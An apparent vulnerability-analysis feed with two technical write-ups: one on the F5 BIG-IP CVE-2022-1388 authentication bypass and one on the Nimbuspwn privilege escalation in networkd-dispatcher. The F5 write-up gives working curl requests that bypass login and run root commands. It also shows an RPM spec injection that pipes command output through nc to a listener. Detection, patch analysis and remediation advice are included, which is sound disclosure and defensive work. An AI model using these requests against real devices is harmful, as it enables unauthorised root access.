Activity Feed


Yes, definitely more easier than HRS…
this was fun!

Indicated source as
Technical Analysis

The patch was difficult to analyze, due to the sheer amount of code and changes. But once Horizon3 released a PoC, tracking down the root cause and analyzing what’s going on was much easier. Cheers!

Technical Analysis


On May 4, 2022, F5 released an advisory listing several vulnerabilities, including CVE-2022-1388, a critical authentication bypass that leads to remote code execution in the iControl REST interface with a CVSSv3 base score of 9.8.

The vulnerability affects several different versions of F5 BIG-IP prior to 17.0.0, including:

  • F5 BIG-IP 16.1.0 – 16.1.2 (patched in
  • F5 BIG-IP 15.1.0 – 15.1.5 (patched in
  • F5 BIG-IP 14.1.0 – 14.1.4 (patched in
  • F5 BIG-IP 13.1.0 – 13.1.4 (patched in 13.1.5)
  • F5 BIG-IP 12.1.0 – 12.1.6 (no patch available, will not fix)
  • F5 BIG-IP 11.6.1 – 11.6.5 (no patch available, will not fix)

On Monday, May 9, 2022, Horizon3 released a full proof of concept, which we successfully executed to get a root shell. Other groups have developed exploits, and a Metasploit module is currently in development. We will analyze Horizon3’s exploit, the root cause, an additional avenue of attack, and how the patch works.

Active Exploitation

Over the past few days, BinaryEdge has detected an increase in scanning and exploitation on the internet. Others on Twitter have also observed exploitation attempts. Due to the ease of exploiting this vulnerability, the public exploit code, and the fact that it provides root access, exploitation attempts are likely to increase.

Widespread exploitation is somewhat mitigated by the small number of internet-facing F5 BIG-IP devices, however; our best guess is that there are only about 2,500 targets on the internet.

Proof of Concept

We chose a representative (but meaningless) page from F5’s API documentation, and tested it on the latest unpatched version – (download page requires a free account). By default, with no authentication, it will fail:

$ curl -sk --head https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
HTTP/1.1 401 F5 Authorization Required
Server: Apache
WWW-Authenticate: Basic realm="Enterprise Manager"
Content-Type: text/html; charset=iso-8859-1

If we provide an account, however, it will return successfully (the actual content doesn’t matter, just the HTTP/200 response):

$ curl -u admin:admin -sk --head https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
HTTP/1.1 200 OK
Server: Jetty(9.2.22.v20170606)
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:

Note that the server header changes from Apache to Jetty – that’ll be important later! Instead of using HTTP Basic authentication, F5 BIG-IP also permits token-based logins. We obtain a token using /mgmt/shared/authn/login, as shown below:

$ curl -X POST -sk https://bigip-16-1-2-1-unpatched.local/mgmt/shared/authn/login --data '{"state": "", "username": "admin", "password": "admin"}' | jq '.token'
  "userName": "admin",
  "authProviderName": "local",
  "user": {
    "link": "https://localhost/mgmt/shared/authz/users/admin"
  "groupReferences": [],
  "timeout": 1200,
  "startTime": "2022-05-10T12:37:29.288-0700",
  "address": "",
  "partition": "[All]",
  "generation": 1,
  "lastUpdateMicros": 1652211449287217,
  "expirationMicros": 1652212649288000,
  "kind": "shared:authz:tokens:authtokenitemstate",
  "selfLink": "https://localhost/mgmt/shared/authz/tokens/XIGEA3CUCVFQ5DKW476OBWNTFA"

That token can be passed as an X-F5-Auth-Token header when performing an iControl REST API call:

$ curl -sk -H 'X-F5-Auth-Token: XT37WQQD5OTMBJL4A7G3TJRSNU' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool

Whereas a bad token will print an error:

$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
{"code":401,"message":"X-F5-Auth-Token does not exist.","referer":"","restOperationId":6655303,"kind":":resterrorresponse"}

Now, using the technique shown in Horizon3’s PoC, we can use an invalid token successfully with the following request:

$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host:' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool

Despite the bad token and invalid password, this request works! Let’s look at why.

Technical Analysis

We pointed out earlier that replies to different requests appear to come from different servers – one came from Apache and the other from Jetty(9.2.22.v20170606) (on older versions you might see Tomcat instead). What’s going on here?

If we look at the list of listening ports, we see two different HTTP servers are running (this is from version, this is a bit different on older versions):

[root@localhost:NO LICENSE:Standalone] # netstat -pn --listening | egrep '(443|8100)'
tcp6       0      0          :::*                    LISTEN      7117/java           
tcp6       0      0 :::443                  :::*                    LISTEN      4312/httpd

[root@localhost:NO LICENSE:Standalone] # ps aux -q 4312,7117
root      4312  0.0  0.1 122484  5164 ?        Ss   13:03   0:00 /usr/sbin/httpd -DTrafficShield -DAVRUI -DSAM
root      7117  7.7  7.7 1860980 311744 ?      Sl   13:03   0:40 /usr/lib/jvm/java-1.8.0-openjdk- [...]

The httpd server is Apache, which runs the front end, and the java server is actually jetty, which runs the iControl REST API.

Typically, a user authenticates to the front-end Apache server using a username / password or a BIGIPAuthCookie cookie. If either exists, Apache handles authentication (using the module /etc/httpd/modules/, which we’ll look at later when we discuss the patch):

$ curl -i -sk -u invalid:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Apache

$ curl -i -sk -b 'BIGIPAuthCookie=invalidauth' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Apache

If either of those are correct, Apache affirms that the user is valid and passes the request to the backend, which runs on localhost:8100. The backend does not validate the request in those cases — it accepts it on merit. It’s from Apache, after all, so it must be valid! Note the invalid password when connecting straight to localhost:8100:

[root@localhost:NO LICENSE:Standalone] # curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq
  "kind": "tm:ltm:pool:poolcollectionstate",
  "selfLink": "https://localhost/mgmt/tm/ltm/pool?ver=",
  "items": []

Note that connecting directly to localhost:8100 with no authentication still works on fully patched versions! The backend does, however, require a valid username, which it gets from the Authorization header (ignoring the password).

If we add an X-F5-Auth-Token header to the same request, it fails – this is very important:

# curl -sH "Content-Type: application/json" -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq
  "code": 401,
  "message": "X-F5-Auth-Token does not exist.",
  "referer": "Unknown",
  "restOperationId": 7193848,
  "kind": ":resterrorresponse"

What’s happening is this: on the unpatched server, the Apache frontend validates the authentication information if it’s a cookie or HTTP basic authentication, but the Jetty backend validates it if it’s a X-F5-Auth-Token. We can see that this behavior changed between the unpatched and patched versions:

$ curl -i -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Jetty(9.2.22.v20170606)

$ curl -i -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw https://bigip-16-1-2-2-patched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Apache

To summarize what we’ve learned about the vulnerable version so far: if a user is authenticating with a cookie or HTTP Basic authentication, Apache validates it using and passes it to the backend with no token. If, however, the request contains a token, the request — token and all — is forwarded to the backend for validation (unless the server has been patched).

You might think this if A authenticate here, if B authenticate there situation sounds like a really bad idea, and you’d be right. That’s why we’re here!

In essence, the exploit confuses the front end to think we should authenticate to the backend (by setting a token), but also confuses the back end to think we already authenticated (by including the X-F5-Auth-Token, then using Connection to remove it. Both assume the other did the work, but neither of them authenticated the user!

The Patch

Traditionally, F5 BIG-IP stores authentication tokens (that is, cookies) in the /var/run/pamcache folder:

[root@localhost:NO LICENSE:Standalone] # ls /var/run/pamcache/

If the user sends a cookie, the front end uses the entries in that directory to validate the cookie. Previously, only cookies were stored in that folder, and the front end only validated the token if it was in a cookie.

In the patch, F5 updated the back end, /usr/share/java/rest/, which is one of the .jar files used by Jetty. Using a Java decompiler, we decompiled the .jar file into Java source. The patch from to has a substantial number of changes, so instead we compared with 13.1.5. Our logic was, being the oldest version, it probably only got the security fix and no functionality / cosmetic changes.

That turned out to be correct, because that patch only makes two major changes. The important one is an update to com/f5/rest/workers/, which includes the following new function:

public void writeTokenFile(AuthTokenItemState state) {
  final String path = UrlHelper.buildUriPath(new String[] { "/var/run/pamcache", state.token });
  final AsynchronousFileChannel fileChannel = createFileChannel(path, new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.WRITE });

  // [...]

  String str = state.userName + "\n" + state.address;
  fileChannel.write(ByteBuffer.wrap(str.getBytes()), 0L, String.format("Writing auth-token file", new Object[0]), completion);

Basically, it writes the token (the value from X-F5-Auth-Token) to /var/run/pamcache/<token>, along with all the cookies. They also added code to chcon the file for SELinux’s sake – probably they struggled with figuring out why Apache couldn’t read the file written by Java before realizing that SELinux was preventing it (anybody who’s used an SELinux system knows that struggle!).

The corresponding change to the front end can be found in, which looks something like:

.text:00005B08                 mov     ecx, [ebp+var_27BC]
.text:00005B0E                 lea     eax, (aXF5AuthToken - 0AAF0h)[ebx] ; "X-F5-Auth-Token"
.text:00005B14                 mov     [esp+4], eax
.text:00005B18                 mov     eax, [ecx+0A0h]
.text:00005B1E                 mov     [esp], eax
.text:00005B21                 call    _apr_table_get ; Read X-F5-Auth-Token from headers
.text:00005B26                 test    eax, eax
.text:00005B28                 mov     [ebp+f5authtokenpointer], eax ; Store X-F5-Auth-Token value

; [...]

.text:0000631D                 mov     edi, [ebp+f5authtokenpointer]
.text:00006323                 lea     eax, (aVarRunPamcache_0 - 0AAF0h)[ebx] ; "/var/run/pamcache/%s"
.text:00006329                 lea     esi, [ebp+var_2684]
.text:0000632F                 mov     [esp+0Ch], edi
.text:00006333                 mov     [esp+8], eax
.text:00006337                 mov     dword ptr [esp+4], 1000h
.text:0000633F                 mov     [esp], esi
.text:00006342                 call    _apr_snprintf ; Build the path, /var/run/pamcache/<token>
.text:00006347                 mov     dword ptr [esp+4], 0
.text:0000634F                 mov     [esp], esi
.text:00006352                 call    _access ; Make sure it has access
.text:00006357                 cmp     eax, 0FFFFFFFFh
.text:0000635A                 jz      loc_64D9
.text:00006360                 lea     eax, (aReferer+6 - 0AAF0h)[ebx] ; "r"
.text:00006366                 mov     [esp], esi
.text:00006369                 mov     [esp+4], eax
.text:0000636D                 call    _fopen ; Open the token file

; [... validate the token ...]

Basically, they added the capability for the front end to validate the token issued by the back end before passing the request to the back end. This solution is hacky at best, but it does fix the immediate issue!


The public exploit developed by Horizon3 uses the /mgmt/tm/util/bash endpoint, which is an endpoint, present on all versions, that can execute code remotely on behalf of an authorized used. We really appreciate it when applications build-in code execution! With proper authentication, even a fully patched server ( will run a command using that endpoint:

$ curl -sk -u admin:admin -H 'Content-Type: application/json' https://bigip-16-1-2-2-patched.local/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult'
"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"

The same endpoint on a vulnerable version will execute just fine with the bypass:

$ curl -sk -H 'Content-Type: application/json' -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host:' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult'
"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"

While testing, before we knew about /mgmt/tm/util/bash, we actually devised a much more complicated way to run code: RPM specification injection! We’ll show that method here, because it’s conceivable that an attacker might use it to evade detection. It’s also kinda interesting!

This curl request creates an RPM .spec file, but injects newlines into the description field along with a %check header. That section of an RPM .spec runs after a package is created, and contains commands that are supposed to validate the package. In our case, the new %check section executes id | nc 4444:

$ curl -uadmin:admin -H "Content-Type: application/json" -X POST -sk https://bigip-16-1-2-2-patched.local/mgmt/shared/iapp/rpm-spec-creator --data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nid | nc 4444", "summary": "test9"}}' | jq --raw-output '.specFilePath'

That endpoint returns a path to a .spec file. This endpoint consumes that .spec to build a package:

$ curl -X POST -sku admin:admin https://bigip-16-1-2-2-patched.local/mgmt/shared/iapp/build-package --data '{"state": {}, "appName": "test", "packageDirectory": "/tmp", "specFilePath": "/var/config/rest/node/tmp/1b89e446-e78a-435a-b6ee-c98c58284090.spec", "force": true }'

When the package builds, the command we embedded executes and we get a connection to our listener:

$ nc -l -p 4444
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

Like the other code-execution endpoint, this technique works on the patched version ( with a valid account, or an unpatched version using the bypass. Executing code here probably isn’t intentional, but it requires an administrative account to execute.


We could not find a way to distinguish between exploit payloads and legitimate command runs via the API. That being said, shell commands executing via the API should be uncommon enough to identify actual attacks. The best resource we found was searching /var/log/audit for commands executed by icrd_child:

[root@localhost:NO LICENSE:Standalone] # grep pid=$(pgrep 'icrd_child') /var/log/audit
May 10 09:58:16 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c whoami
May 10 09:58:34 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c whoami
May 10 10:52:47 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 10:52:53 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 12:05:41 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 12:06:07 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 12:07:00 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id

Another helpful log is /var/log/restjavad-audit.0.log, which tracks all API access. If your organization uses the API, this might have more entries in it, but we can see our bash commands being executed here:

[root@localhost:NO LICENSE:Standalone] # tail -n3 /var/log/restjavad-audit.0.log
[I][223][10 May 2022 17:52:53 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":""}
[I][230][10 May 2022 19:05:41 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":""}
[I][231][10 May 2022 19:06:07 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":""}

In addition to /mgmt/tm/util/bash, which is used by public exploits, checking for access to the /mgmt/shared/iapp/rpm-spec-creator endpoint can detect exploit attempts using the alternative endpoint that we identified.


Indicated source as
Technical Analysis

Super underwhelming, IMO – requires a confluence of bad configuration. Microsoft’s claims that they see vulnerable configurations in the wild are dubious – it takes some effort to make yourself vulnerable (I just used sudo to run as the networkd user, but that’s cheating). Definitely not a name-worthy vulnerability!

Technical Analysis


CVE-2022-29799 and CVE-2022-29800 – collectively referred to as Nimbuspwn – are a pair of vulnerabilities in networkd-dispatcher that Microsoft researchers discovered and reported. Under the right circumstances, these issues can be exploited together to escalate a user to root privileges on an affected Linux machine. We confirmed this attack on a default installation of Ubuntu 22.04 Desktop with no patches, but it did require special configuration that we discuss below.

Note: Due to the circumstances required for this to be exploitable, we believe this to be low-risk and unlikely to see widespread exploitation.

Technical analysis

Before talking about the specifics of the vulnerability, let’s take a quick look at D-Bus. We’ll use ruby-dbus for examples.

D-Bus – or Desktop Bus – is an inter-process communication mechanism that’s used by most modern Linux distributions. It permits a variety of processes to communicate with each other over a shared medium, either directly (1:1) or via broadcast (1:n). D-Bus clients can accept method calls and generate signals for other D-Bus clients. Signals are where the Nimbuspwn vulnerability arises.

When a client connects to a D-Bus bus, it is assigned a unique, numeric name such as :1.146. For client applications, that’s generally sufficient – nothing else needs to find them so discoverability is not necessary. But when a client wants to provide a service, they typically register a well-known name so other clients can find them.

By convention, Linux systems have two different buses: the system bus and session bus. The system bus runs system services, and is semi-privileged – while anybody can typically connect to any bus with a default name, they cannot register a special name without special permission. The session bus, on the other hand, runs in the context of a single user’s session, and, unlike the system bus, any client can register a name (provided it’s not already in use). This is all configured system-wide by /usr/share/dbus-1/system.conf and /usr/share/dbus-1/session.conf (paths may vary):

/usr/share/dbus-1 $ cat system.conf | grep own=
    <deny own="*"/>

/usr/share/dbus-1 $ cat session.conf | grep own=
    <allow own="*"/>

The following example shows how we’d register a name on the system bus (which fails) and the session bus (which succeeds). Due to the asynchronous nature of the library, we call .exists?() to actually make the connection happen:

irb(main):001:0> require 'dbus'
=> true

irb(main):002:0> # Try and use the system bus

irb(main):003:0> DBus.system_bus.request_service('my.test.service').exists?
/var/lib/gems/3.0.0/gems/ruby-dbus-0.17.0/lib/dbus/bus.rb:416:in `block in request_service': Connection ":1.146" is not allowed to own the service "my.test.service" due to security policies in the configuration file; caused by 3 sender=org.freedesktop.DBus -> dest=:1.146 serial=3 reply_serial=3 path=; interface=; member= error_name=org.freedesktop.DBus.Error.AccessDenied (DBus::Error)

irb(main):004:0> # Try and use the session bus

irb(main):005:0> DBus.session_bus.request_service('my.test.service').exists?
=> true

As you can see, we cannot easily create a named service on the system bus. Of course, when a service needs to register a well-known name on the system bus, they can be granted access utilizing a system configuration file. For example, Ubuntu 22.04 Desktop comes with a configuration file that permits the systemd-network user to register the name org.freedesktop.network1:

/usr/share/dbus-1/system.d$ cat org.freedesktop.network1.conf

        <policy user="systemd-network">
                <allow own="org.freedesktop.network1"/>
                <allow send_destination="org.freedesktop.network1"/>
                <allow receive_sender="org.freedesktop.network1"/>

With that configuration, the specific user (and only that user) can register the name on the system bus:

$ sudo -u systemd-network irb

irb(main):001:0> require 'dbus'
=> true

irb(main):002:0> DBus.system_bus.request_service('org.freedesktop.network1').exists?
=> true

Once the client claims their name on the bus, we can stand signals to any processes listening on that bus for the given name. One such service is networkd-dispatcher:

$ cat /usr/bin/networkd-dispatcher
    def register(self, bus=None):
        """Register this dispatcher to handle events from the given bus"""
        if bus is None:
            bus = dbus.SystemBus()

What that means is, if a client on the bus claims the name org.freedesktop.network1, it can then send a PropertiesChanged signal to all listeners that networkd-dispatcher wants to know about! And that’s where this vulnerability lies – the handler function in networkd-dispatcher is vulnerable to several issues, including path traversal and time-of-check-time-of-use issues. If exploited, the client running as org.freedesktop.network1 can execute an arbitrary script in the context of networkd-dispatcher – root.

We tested a public proof of concept, and successfully gained root (provided we ran it as the systemd-network user):

$ sudo -u systemd-network python3 /tmp/
[*] Attempt no. 1...
[*] Attempt no. 2...
[!] Root backdoor obtained! Executing...
# whoami


This vulnerability has several pre-requisites that, in our opinion, make it very unlikely to see widespread exploitation:

  • The user must have permission to register org.freedesktop.network1 on the system bus
  • Nothing else may already be registered as org.freedesktop.network1, since duplicate names are not allowed on a bus

In their disclosure, Microsoft acknowledges this limitation and notes that there are possible situations where this can be overcome:

  • In some environments, the systemd-networkd service that normally owns org.freedesktop.network1 does not start by default, which means it can be claimed (though permissions are still an issue)
  • In some cases, the systemd-networkd user can run arbitrary code from world-writable locations – Microsoft attributes these to a customer misconfiguration, not a default setting

JFrog published a tool that can detect misconfigurations such as this.

In essence, a user would have to try hard to make a system exploitable.


The public exploit creates and then removes a whole bunch of files in /tmp/nimbuspwn[random], such as:


The files are created then immediately removed whether or not the exploit succeeds. If the exploit does succeed, a set-uid copy of sh is created in /tmp:

$ ls -alrt /tmp
-rwsrwxrwx  1 root root 125688 May  4 13:45 sh

The sh copy is not removed on exit.

Note that none of these are required for exploitation, this only detects artifacts left by the public exploit.


Rapid7 recommends that users update their networkd-dispatcher installations to the latest release provided by their operating systems. Alternatively, apply the author’s patch directly to /usr/bin/networkd-dispatcher.


Indicated source as